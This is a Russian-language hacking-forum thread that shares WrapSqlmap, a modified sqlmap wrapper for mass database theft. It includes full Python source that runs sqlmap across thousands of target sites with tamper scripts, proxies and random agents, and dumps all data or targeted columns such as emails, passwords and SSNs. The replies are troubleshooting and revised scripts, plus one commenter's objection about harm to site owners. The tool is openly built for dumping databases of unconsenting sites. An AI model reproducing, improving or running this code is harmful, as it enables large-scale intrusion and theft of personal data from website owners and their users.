Статья WrapSqlmap - массовый слив баз с помощью доработанного sqlmap

Привет, Codeby. Давным давно мне в руки попала версия sqlmap, который может все то, что и оригинальный sqlmap, только цель мы указываем в файле sites.txt( в wrapper_config.py можно изменить название файла ) и не одну. Допустим, если Вы арендуете сервак средней мощности, то за день WrapSqlmap может проверить около 3-4 тысяч сайтов. Я попытался найти автора программы, но так и не получилось( если кто знает автора передайте ему респект ). Также я знаю, что есть еще одна версия, где полностью переписано ядро. Ссылка на скачивание -

Итак, все самое главное находится в двух файлах wrapper_config.py и wrapper.py.

29271


В этом файле мы изменяем нужные нам параметры, допустим название файла с целями, указываем параметры для Sqlmap: RISK, LEVEL, потоки, прокси и прочее...

Я как человек, который любит писать все свое не удержался и решил немного доработать, хоть здесь и так все на высоте, я добавил всего то пару функций, первая это проверка файла с целями, она проверяет стоит ли перед доменом протокол( http, https ), если нет, то добавляет, также ищет и удаляет такие домены как facebook, microsoft и.т.п. Если вы не хотите, чтобы прога проверяла Ваш файл с целями, то в wrapper_config.py найдите параметр Check_List и поставьте значение False. Также я добавил слив по колонкам, то есть при запуске программы Вы указываете колонки, которые sqlmap должен слить. Пример:
Код:
python wrapper.py email,pass,ssn
Если Вы не укажете аргумент, то поиск колонок будет идти по умолчанию. Программа параллельно открывает кучу потоков и запускает sqlmap. Я специально не хочу все рассказывать об этой программе, так как натворить дел с помощью нее можно. Вот скриншот работы программы:

29272

Сайт на скриншоте был взят в качестве примера, никакого вреда причинено не было

Я думаю, что такую программу все-таки нужно разместить в открытый доступ, так как у многих с которыми я общался она уже есть. Я еще планирую ее доработать для себя, например сделать удаление дубликатов сразу при проверке файла с целями, хоть такая функция уже есть в оригинальном коде, я не знаю насколько хорошо она работает и возможно изменю параметры самой команды sqlmap.

P.S Если Вы найдете дампы, то они старого владельца, как и список с целями, которые уже неактуальны как и дампы.
 
Последнее редактирование:
следил, уязвимости находит, когда линки заканчиваются врап резко закрывается
Python:
#!/usr/bin/env python
#coding: utf-8
from multiprocessing.dummy import Pool
from subprocess import Popen, PIPE, call, check_call
import os
import re
import sys
import glob
import time
import shutil
import logging
import urlparse
import requests
import Exploits
import traceback
import threading
import builtwith
from random import choice
#from urlparse import urlparse
from datetime import datetime

from brutecms import brutecont

from psutil import Process, TimeoutExpired

from requests import get
from requests.exceptions import ReadTimeout, ConnectTimeout


import wrapper_config

DUMP_SQLMAP_SAVE = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)),
        wrapper_config.SQLMAP_DUMPS)

print DUMP_SQLMAP_SAVE


def find_dump():
    for file in glob.glob(DUMP_SQLMAP_SAVE+"/**"):
        for dirpath, dirnames, files in os.walk(file):
            for filelog in  files:
                if filelog == 'log':
                    if os.path.getsize(dirpath + '/' + filelog) > 0:
                        url = dirpath.split('/')[4]
                        open(wrapper_config.SQLi_SAVE_FILE, 'a+').write(str(url) + '\n')
                        log_file = open(dirpath + '/' + filelog)
                        open('log', 'a+').write(dirpath + '\n')
                        for line in log_file:
                            open('log', 'a+').write(line + '\n')
                        del_dub(wrapper_config.SQLi_SAVE_FILE)
                    else:
                        if wrapper_config.DELETE == True:
                            shutil.rmtree(file)


def del_dub(file):
    text_file = open(file)
    lines = text_file.read().split('\n')
    lines = list(set(lines))
    lines = list(filter(None, lines))
    open(file, 'w').close()
    for line in lines:
        open(file, 'a+').write(line+'\n')



find_dump()

Запусти этот скрипт, я его набросал по быстрому, должен найти
 
  • Нравится
Реакции: SlipX
Python:
#!/usr/bin/env python
#coding: utf-8
from multiprocessing.dummy import Pool
from subprocess import Popen, PIPE, call, check_call
import os
import re
import sys
import glob
import time
import shutil
import logging
import urlparse
import requests
import Exploits
import traceback
import threading
import builtwith
from random import choice
#from urlparse import urlparse
from datetime import datetime

from brutecms import brutecont

from psutil import Process, TimeoutExpired

from requests import get
from requests.exceptions import ReadTimeout, ConnectTimeout


import wrapper_config

DUMP_SQLMAP_SAVE = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)),
        wrapper_config.SQLMAP_DUMPS)

print DUMP_SQLMAP_SAVE


def find_dump():
    for file in glob.glob(DUMP_SQLMAP_SAVE+"/**"):
        for dirpath, dirnames, files in os.walk(file):
            for filelog in  files:
                if filelog == 'log':
                    if os.path.getsize(dirpath + '/' + filelog) > 0:
                        url = dirpath.split('/')[4]
                        open(wrapper_config.SQLi_SAVE_FILE, 'a+').write(str(url) + '\n')
                        log_file = open(dirpath + '/' + filelog)
                        open('log', 'a+').write(dirpath + '\n')
                        for line in log_file:
                            open('log', 'a+').write(line + '\n')
                        del_dub(wrapper_config.SQLi_SAVE_FILE)
                    else:
                        if wrapper_config.DELETE == True:
                            shutil.rmtree(file)


def del_dub(file):
    text_file = open(file)
    lines = text_file.read().split('\n')
    lines = list(set(lines))
    lines = list(filter(None, lines))
    open(file, 'w').close()
    for line in lines:
        open(file, 'a+').write(line+'\n')



find_dump()

Запусти этот скрипт, я его набросал по быстрому, должен найти
не много не понял бро, где и что заменять))))). Можешьс кинуть полностью отредаченный?))

Python:
#!/usr/bin/env python
#coding: utf-8
from multiprocessing.dummy import Pool
from subprocess import Popen, PIPE, call, check_call
import os
import re
import sys
import glob
import time
import shutil
import logging
import urlparse
import requests
import Exploits
import traceback
import threading
import builtwith
from random import choice
#from urlparse import urlparse
from datetime import datetime

from brutecms import brutecont

from psutil import Process, TimeoutExpired

from requests import get
from requests.exceptions import ReadTimeout, ConnectTimeout


import wrapper_config

DUMP_SQLMAP_SAVE = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)),
        wrapper_config.SQLMAP_DUMPS)

print DUMP_SQLMAP_SAVE


def find_dump():
    for file in glob.glob(DUMP_SQLMAP_SAVE+"/**"):
        for dirpath, dirnames, files in os.walk(file):
            for filelog in  files:
                if filelog == 'log':
                    if os.path.getsize(dirpath + '/' + filelog) > 0:
                        url = dirpath.split('/')[4]
                        open(wrapper_config.SQLi_SAVE_FILE, 'a+').write(str(url) + '\n')
                        log_file = open(dirpath + '/' + filelog)
                        open('log', 'a+').write(dirpath + '\n')
                        for line in log_file:
                            open('log', 'a+').write(line + '\n')
                        del_dub(wrapper_config.SQLi_SAVE_FILE)
                    else:
                        if wrapper_config.DELETE == True:
                            shutil.rmtree(file)


def del_dub(file):
    text_file = open(file)
    lines = text_file.read().split('\n')
    lines = list(set(lines))
    lines = list(filter(None, lines))
    open(file, 'w').close()
    for line in lines:
        open(file, 'a+').write(line+'\n')



find_dump()

Запусти этот скрипт, я его набросал по быстрому, должен найти
всё так же, фиг знает мб я что-то не правильно заменил
 
нет, ничего. Просто закрывается и всё. Посмотри выше я запускаю скрипт мне ошибку выдает
На линукс отрабатывает хорошо, на винде ошибка

нет, ничего. Просто закрывается и всё. Посмотри выше я запускаю скрипт мне ошибку выдает
Вот скрипт, он будет записывать путь до каталога + там url
Код:
#!/usr/bin/env python
#coding: utf-8
from multiprocessing.dummy import Pool
from subprocess import Popen, PIPE, call, check_call
import os
import re
import sys
import glob
import time
import shutil
import logging
import urlparse
import requests
import traceback
import threading
import builtwith
from random import choice
#from urlparse import urlparse
from datetime import datetime



from requests import get
from requests.exceptions import ReadTimeout, ConnectTimeout


import wrapper_config

DUMP_SQLMAP_SAVE = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)),
        wrapper_config.SQLMAP_DUMPS)

print DUMP_SQLMAP_SAVE

import urlparse
def find_dump():
    for file in glob.glob(DUMP_SQLMAP_SAVE+"/**"):
        for dirpath, dirnames, files in os.walk(file):
            for filelog in  files:
                if filelog == 'log':
                    if os.path.getsize(dirpath + '/' + filelog) > 0:
                        url = dirpath
                        open(wrapper_config.SQLi_SAVE_FILE, 'a+').write(str(url) + '\n')
                        log_file = open(dirpath + '/' + filelog)
                        open('log', 'a+').write(dirpath + '\n')
                        for line in log_file:
                            open('log', 'a+').write(line + '\n')
                        del_dub(wrapper_config.SQLi_SAVE_FILE)
                    else:
                        if wrapper_config.DELETE == True:
                            shutil.rmtree(file)


def del_dub(file):
    text_file = open(file)
    lines = text_file.read().split('\n')
    lines = list(set(lines))
    lines = list(filter(None, lines))
    open(file, 'w').close()
    for line in lines:
        open(file, 'a+').write(line+'\n')



find_dump()
Позже кину чтобы только url записывал
 
Вот скрипт, он будет записывать путь до каталога + там url
Код:
#!/usr/bin/env python
#coding: utf-8
from multiprocessing.dummy import Pool
from subprocess import Popen, PIPE, call, check_call
import os
import re
import sys
import glob
import time
import shutil
import logging
import urlparse
import requests
import traceback
import threading
import builtwith
from random import choice
#from urlparse import urlparse
from datetime import datetime



from requests import get
from requests.exceptions import ReadTimeout, ConnectTimeout


import wrapper_config

DUMP_SQLMAP_SAVE = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)),
        wrapper_config.SQLMAP_DUMPS)

print DUMP_SQLMAP_SAVE

import urlparse
def find_dump():
    for file in glob.glob(DUMP_SQLMAP_SAVE+"/**"):
        for dirpath, dirnames, files in os.walk(file):
            for filelog in  files:
                if filelog == 'log':
                    if os.path.getsize(dirpath + '/' + filelog) > 0:
                        url = dirpath
                        open(wrapper_config.SQLi_SAVE_FILE, 'a+').write(str(url) + '\n')
                        log_file = open(dirpath + '/' + filelog)
                        open('log', 'a+').write(dirpath + '\n')
                        for line in log_file:
                            open('log', 'a+').write(line + '\n')
                        del_dub(wrapper_config.SQLi_SAVE_FILE)
                    else:
                        if wrapper_config.DELETE == True:
                            shutil.rmtree(file)


def del_dub(file):
    text_file = open(file)
    lines = text_file.read().split('\n')
    lines = list(set(lines))
    lines = list(filter(None, lines))
    open(file, 'w').close()
    for line in lines:
        open(file, 'a+').write(line+'\n')



find_dump()
Позже кину чтобы только url записывал
а вот это уже работает бро
 
Заменять папку urllib3 пробывал , ошибка так и не уходит

Traceback (most recent call last):
File "wrapper.py", line 13, in <module>
import requests
File "/home/sv/Desktop/wrap_sqlmap/requests/__init__.py", line 43, in <module>
import urllib3
File "/home/sv/Desktop/wrap_sqlmap/urllib3/__init__.py", line 8, in <module>
from .connectionpool import (
File "/home/sv/Desktop/wrap_sqlmap/urllib3/connectionpool.py", line 11, in <module>
from .exceptions import (
File "/home/sv/Desktop/wrap_sqlmap/urllib3/exceptions.py", line 2, in <module>
from .packages.six.moves.http_client import (
ImportError: No module named packages.six.moves.http_client

нафига ты такое выкладываешь. Думаешь только о себе, а не о владельцах сайтов. Если кого и хакнут этим софтом, то именно ты будешь виноват потому что выложил в публичный доступ. Скорее всего ты и есть разработчик. Нарушил лицензию sqlmap.
Владельцы сайтов, пускай чаще аудит своих ресурсов делают
 
Заменять папку urllib3 пробывал , ошибка так и не уходит

Traceback (most recent call last):
File "wrapper.py", line 13, in <module>
import requests
File "/home/sv/Desktop/wrap_sqlmap/requests/__init__.py", line 43, in <module>
import urllib3
File "/home/sv/Desktop/wrap_sqlmap/urllib3/__init__.py", line 8, in <module>
from .connectionpool import (
File "/home/sv/Desktop/wrap_sqlmap/urllib3/connectionpool.py", line 11, in <module>
from .exceptions import (
File "/home/sv/Desktop/wrap_sqlmap/urllib3/exceptions.py", line 2, in <module>
from .packages.six.moves.http_client import (
ImportError: No module named packages.six.moves.http_client
Возьми библиотеку из ссылки, что я кидал, в теме тоже обновил
 
У меня linux Parrot OS , с библиотеками всё нормально, какоу именно библиотеку обновить , можно силочку
Версия Linux тут не при чём.
У тебя нет библиотеки six для python'a.
Чтобы её поставить для python версии 2
нужно выполнить команду

pip2 install six
Сделай скрин как запускаешь утилиту
и скрин

python -v
 
Сделай скрин как запускаешь утилиту
 
Смотри, что сделал я
Перешёл в папку tmp; создал test_python; перешёл в test_python

cd /tmp/;mkdir test_python;cd test_python/

Скопировал из поста выше код в соответствующие файлы

nano wrapper.py nano brutecms.py nano wrapper_config.py

Сделал исполняемым файл

chmod +x wrapper.py

Установил зависимости

pip2.7 install builtwith psutil requests

Создал файл с целями site.txt

touch site.txt

python2.7 wrapper.py
Получил вывод
/tmp/test_python/dumps
/tmp/test_python/txt_dumps
Check list target
No target

Вот моя система
Linux l 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
python2.7 -V
Python 2.7.16
pip2.7 -V
pip 19.1.1 from /usr/local/lib/python2.7/dist-packages/pip (python 2.7)
 

Вложения

Последнее редактирование:
  • Нравится
Реакции: Egoiste и kluster
Смотри, что сделал я
Перешёл в папку tmp; создал test_python; перешёл в test_python

cd /tmp/;mkdir test_python;cd test_python/

Скопировал из поста выше код в соответствующие файлы
nano wrapper.py nano brutecms.py nano wrapper_config.py

Сделал исполняемым файл
chmod +x wrapper.py

Установил зависимости
pip2.7 install builtwith psutil requests

Создал файл с целями site.txt
touch site.txt

python2.7 wrapper.py
Получил вывод
/tmp/test_python/dumps
/tmp/test_python/txt_dumps
Check list target
No target

Вот моя система
Linux l 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
python2.7 -V
Python 2.7.16
pip2.7 -V
pip 19.1.1 from /usr/local/lib/python2.7/dist-packages/pip (python 2.7)
В конфиге в URLS_FILE, что указано ? А, стоп, может ты ему объясняешь, ладно отпишись, если что-то не получается
 
Последнее редактирование:
Обновление: теперь сохраняет линки на sqli в реальном времени, именно линки не домены как раньше, если включить параметр DELETE, то будет оставлять только уязвимые сайты или которые удалось сдампить. Это демо версия, скоро будет еще одна
Python:
#!/usr/bin/env python
#coding: utf-8
from multiprocessing.dummy import Pool
from subprocess import Popen, PIPE, call, check_call
import os
import re
import sys
import glob
import time
import shutil
import logging
import urlparse
import requests
#import Exploits
import traceback
import threading
import builtwith

from random import choice
from urlparse import urlparse
from datetime import datetime

from brutecms import brutecont

from psutil import Process, TimeoutExpired

from requests import get
from requests.exceptions import ReadTimeout, ConnectTimeout


import wrapper_config 


try:
    dump = sys.argv[1]
except:
    dump = wrapper_config.COLUMN_DUMP

if (wrapper_config.Check_SQLi == True and wrapper_config.DUMP == True and wrapper_config.DUMP_ALL == True and wrapper_config.BRUTE_CMS == True and wrapper_config.EXPLOITS_CMS == True):
    print('Check_SQLi or DUMP or DUMP_ALL or BRUTE_CMS or EXPLOITS_CMS')
    sys.exit()
elif (wrapper_config.Check_SQLi == False and wrapper_config.DUMP == False and wrapper_config.DUMP_ALL == False and wrapper_config.BRUTE_CMS == False and wrapper_config.EXPLOITS_CMS == False):
    print('Check_SQLi or DUMP or DUMP_ALL or BRUTE_CMS or EXPLOITS_CMS')
    sys.exit()


DUMP_SQLMAP_FOLDER = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)), 
        wrapper_config.DUMP_FOLDER)


DUMP_SQLMAP_SAVE = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)), 
        wrapper_config.SQLMAP_DUMPS)

print DUMP_SQLMAP_SAVE

DUMP_TXT_FOLDER = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)), 
        wrapper_config.WRAPPER_TXT_DUMPS)

print DUMP_TXT_FOLDER

        
STEPS = [10,100, 300, 500, 1000, 1500, 2000, 3000, 5000, 10000, 20000, 50000, 100000]
#STEPS = [100]

def checkcms(url):
    try:
        cms = builtwith.builtwith(url)
        w = url + " | CMS: " + cms["cms"][0]
    except:
        w = checkencoom(url)
    return w

def checkencoom(url):
    try:
        cms = builtwith.builtwith(url)
        w = url + " | CMS: " + cms["ecommerce"][0]
    except:
        w = "CMS: Not found"
    return w

    
def sqlmap_check(url, pos, check_timeout, proxy=None):
    print('set %s' % url)
    print('left %s url(s)' % pos)
    if proxy:
        print('set proxy %s://%s' % (wrapper_config.PROXY_TYPE, proxy))
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME  and wrapper_config.PROXY_PASSWORD:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--count',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-format=CSV',
                '--answers=quit=n,crack=n',
                '--search',
                '-C %s' % dump,
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE, 
                    proxy),
                '--proxy-cred=%s:%s' % (
                    wrapper_config.PROXY_USERNAME, 
                    wrapper_config.PROXY_PASSWORD),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    elif wrapper_config.PROXY:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--count',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-format=CSV',
                '--answers=quit=n,crack=n',
                '--search',
                '-C %s' % dump,
                #'--answers="quit=n, crack=n"'
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                #'--proxy=socks5://localhost:9091',
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE, 
                    proxy),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',

            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    else:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--time-sec=30',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--count',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--search',
                '-C %s' % dump,
                '--dump-format=CSV',
                '--answers=quit=n,crack=n',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                #'--proxy=socks5://localhost:9091',
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',

            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass

    end_time = datetime.now().time()
    if domains_dublicate(url):
        print('detect domains dublicate %s pass it' % url)
        return False
    dbs_data = log_num_parser(url)
    #print  dbs_data
    #sys.exit()
    
    if dbs_data:
        async_tables_pool = Pool()
        for db, tables in dbs_data.items():
            for table, num in tables.items():
                for step in STEPS: #STEPS = [10,100, 300, 500, 1000, 1500, 2000, 3000, 5000, 10000, 20000, 50000, 100000]
                    if int(num) > step:
                        try:
                            async_tables_pool.apply_async( 
                                    sqlmap_dump(
                                    url,
                                    56000,
                                    proxy))
                        except:pass

                    else:

                        break
        async_tables_pool.close()
        async_tables_pool.join()

    if check_dump_folder(url):
        save_txt(url)

def sqlmap_dump(url, check_timeout, proxy=None):
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME  and wrapper_config.PROXY_PASSWORD:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--time-sec=30',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--search',
                '-C %s' % dump,
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE, 
                    proxy),
                '--proxy-cred=%s:%s' % (
                    wrapper_config.PROXY_USERNAME, 
                    wrapper_config.PROXY_PASSWORD),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    elif wrapper_config.PROXY:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--search',
                '-C %s' % dump,
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE, 
                    proxy),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    else:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--time-sec=15',
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--search',
                '-C %s' % dump,
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                #'--proxy=socks5://localhost:9091',
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass


def sqlmap_dump_all(url, pos, check_timeout, proxy=None):
    print "Dump All"
    print('set %s' % url)
    print('left %s url(s)' % pos)
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME  and wrapper_config.PROXY_PASSWORD:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--time-sec=30',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-all',
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE, 
                    proxy),
                '--proxy-cred=%s:%s' % (
                    wrapper_config.PROXY_USERNAME, 
                    wrapper_config.PROXY_PASSWORD),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    elif wrapper_config.PROXY:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-all',
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE, 
                    proxy),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    else:
        process = Popen(
            [
    
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--time-sec=15',
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-all',
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                #'--proxy=socks5://localhost:9091',
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:pass       
        try:
            psu_process.kill()
        except:pass

    if check_dump_folder(url):
        save_txt(url)



def sqli_check(url, pos, check_timeout, proxy=None):
    print "Find SQLi"
    print('set %s' % url)
    print('left %s url(s)' % pos)
    if proxy:
        print('set proxy %s://%s' % (wrapper_config.PROXY_TYPE, proxy))
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME  and wrapper_config.PROXY_PASSWORD:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--time-sec=30',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE, 
                    proxy),
                '--proxy-cred=%s:%s' % (
                    wrapper_config.PROXY_USERNAME, 
                    wrapper_config.PROXY_PASSWORD),
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    elif wrapper_config.PROXY:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE, 
                    proxy),
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    else:
        process = Popen(
            [
                'python', 
                'sqlmap.py',
                '--url=%s' % url,
                '--time-sec=15',
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass

    if check_dump_folder(url):
        save_txt(url)
       


def clean_url(url):
    return url.split("'")[0]


def get_proxies(url):
    try:
        return get(url, timeout=120).text.splitlines()
    except (ConnectTimeout, ReadTimeout):
        print('cant grab proxies %s ; check link' % url)
        sys.exit()


def check_dump_folder(url):
    domains = urlparse(url).netloc
    if ':' in domains:
        domains = domains.split(':')[0]
    domains_dump_folder = os.path.splitext(DUMP_SQLMAP_SAVE + '/' + domains + '/log')[0]
    try:
        print '\n' +  url + ' check'
        if os.path.getsize(domains_dump_folder) > 0:
            open(wrapper_config.SQLi_SAVE_FILE, 'a+').write(str(url) + '\n')
            del_dub(wrapper_config.SQLi_SAVE_FILE)
            return os.path.getsize(domains_dump_folder)
        else:
            if wrapper_config.DELETE == True:
                domains_del_folder = os.path.join(DUMP_SQLMAP_SAVE, domains)
                shutil.rmtree(domains_del_folder)
            return False
    except Exception, error_code:
        print str(error_code)
        return False



def save_txt(url):
    domains = urlparse(url).netloc
    if ':' in domains:
        domains = domains.split(':')[0]
    domains_dump_folder = os.path.join(DUMP_SQLMAP_SAVE, domains)
    try:
        for root, dirs, files in os.walk(domains_dump_folder):
            for file in files:
                if file == 'log':
                    log_file = open(root + '/' + file)
                    open('log', 'a+').write(root + '\n')
                    for line in log_file:
                        open('log', 'a+').write(line + '\n')

                if file.endswith(".csv"):
                    path_file = os.path.join(root,file)
                    res = file.replace('.csv', '.txt')
                    shutil.copy(path_file, DUMP_TXT_FOLDER + '/' + res)
    except Exception, error_code:
        print str(error_code)


def del_dub(file):
    text_file = open(file)
    lines = text_file.read().split('\n')
    lines = list(set(lines))
    lines = list(filter(None, lines))
    open(file, 'w').close()
    for line in lines:
        open(file, 'a+').write(line+'\n')


def sites_dev():
    if wrapper_config.Check_List == True:
        print('Check list target')
        output = []
        urls = open(wrapper_config.URLS_FILE).read().splitlines()
        for url in urls:
            check = re.compile(r'^(?:http)s?://', re.IGNORECASE)
            checks =  re.match(check, url) is not None 
            if len(url) > 0:
                if checks != True:
                    open(wrapper_config.URLS_FILE, 'a+').write('http://' + url + '\n')
                    del_dub(wrapper_config.URLS_FILE)
        urls = open(wrapper_config.URLS_FILE).read().splitlines()
        for url in urls:
            if not "facebook" in url and not "ebay" in url and not "youtube" in url and not "google" in url and not "cxsecurity" in url and not "pastebin" in url and not "amazon" in url and not "microsoft" in url and not "yahoo" in url and "http" in url and len(url) > 0:
                output.append(url + '\n')
        if output:
